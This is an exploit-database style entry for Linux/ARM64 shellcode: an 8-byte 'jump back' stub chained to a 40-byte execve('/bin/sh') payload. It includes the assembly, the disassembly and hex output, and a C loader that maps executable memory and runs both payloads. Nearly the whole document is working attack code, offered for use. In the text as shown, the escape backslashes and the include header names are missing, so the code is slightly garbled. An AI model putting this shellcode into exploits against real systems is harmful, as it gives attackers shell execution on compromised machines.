Jump Back Shellcode + execve(“/bin/sh”, NULL, NULL) Shellcode (8 Bytes)

/*
# Title:  Linux/ARM64 - Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode (8 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu Xenial Xerus (development branch)
Release:	16.04
Codename:	xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat jumpback.s
.section .text
.global _start
_start:
    // Jump back to _start-0x30
    adr  x10, .-0x30    // x10 = _start-0x30
    br   x10            // Jump to _start-0x30
ubuntu@ubuntu:~/works$ as -o jumpback.o jumpback.s && ld -o jumpback jumpback.o
ubuntu@ubuntu:~/works$ objdump -d ./jumpback

./jumpback:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 :
  400078:	10fffe8a 	adr	x10, 400048 
  40007c:	d61f0140 	br	x10
ubuntu@ubuntu:~/works$ objcopy -O binary jumpback jumpback.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"""x" 1/1 "%02x" ""' jumpback.bin && echo
x8axfexffx10x40x01x1fxd6

*/

#include 
#include 
#include 
#include 

int (*sc)();

// Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
char shell[] =
"xe1x45x8cxd2x21xcdxadxf2xe1x65xcexf2x01x0dxe0xf2"
"xe1x8fx1fxf8xe1x03x1fxaaxe2x03x1fxaaxe0x63x21x8b"
"xa8x1bx80xd2xe1x66x02xd4";

char jumpback[] =
"x8axfexffx10x40x01x1fxd6";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytesn", strlen(jumpback));

    void *ptr1 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
    void *ptr2;

    if (ptr1 == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    ptr2 = ptr1 + 0x30;

    memcpy(ptr1, shell, sizeof(shell));
    memcpy(ptr2, jumpback, sizeof(jumpback));

    sc = ptr2;

    sc();

    return 0;
}
            

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